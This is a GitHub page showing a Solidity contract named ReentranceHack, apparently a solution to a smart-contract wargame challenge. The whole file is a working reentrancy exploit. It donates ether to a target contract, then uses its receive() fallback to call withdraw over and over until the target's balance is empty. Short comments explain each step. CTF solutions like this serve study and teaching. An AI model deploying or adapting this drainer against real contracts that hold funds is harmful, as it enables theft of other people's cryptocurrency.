-
Notifications
You must be signed in to change notification settings - Fork 76
/
ReentranceHack.sol
52 lines (40 loc) · 1.52 KB
/
ReentranceHack.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
abstract contract IReentrance {
mapping(address => uint256) public balances;
function donate(address _to) external payable virtual;
function withdraw(uint256 _amount) external virtual;
}
contract ReentranceHack {
IReentrance public challenge;
uint256 initialDeposit;
constructor(address challengeAddress) {
challenge = IReentrance(challengeAddress);
}
function attack() external payable {
require(msg.value >= 0.1 ether, "send some more ether");
// first deposit some funds
initialDeposit = msg.value;
challenge.donate{value: initialDeposit}(address(this));
// withdraw these funds over and over again because of re-entrancy issue
callWithdraw();
}
receive() external payable {
// re-entrance called by challenge
callWithdraw();
}
function callWithdraw() private {
// this balance correctly updates after withdraw
uint256 challengeTotalRemainingBalance = address(challenge).balance;
// are there more tokens to empty?
bool keepRecursing = challengeTotalRemainingBalance > 0;
if (keepRecursing) {
// can only withdraw at most our initial balance per withdraw call
uint256 toWithdraw =
initialDeposit < challengeTotalRemainingBalance
? initialDeposit
: challengeTotalRemainingBalance;
challenge.withdraw(toWithdraw);
}
}
}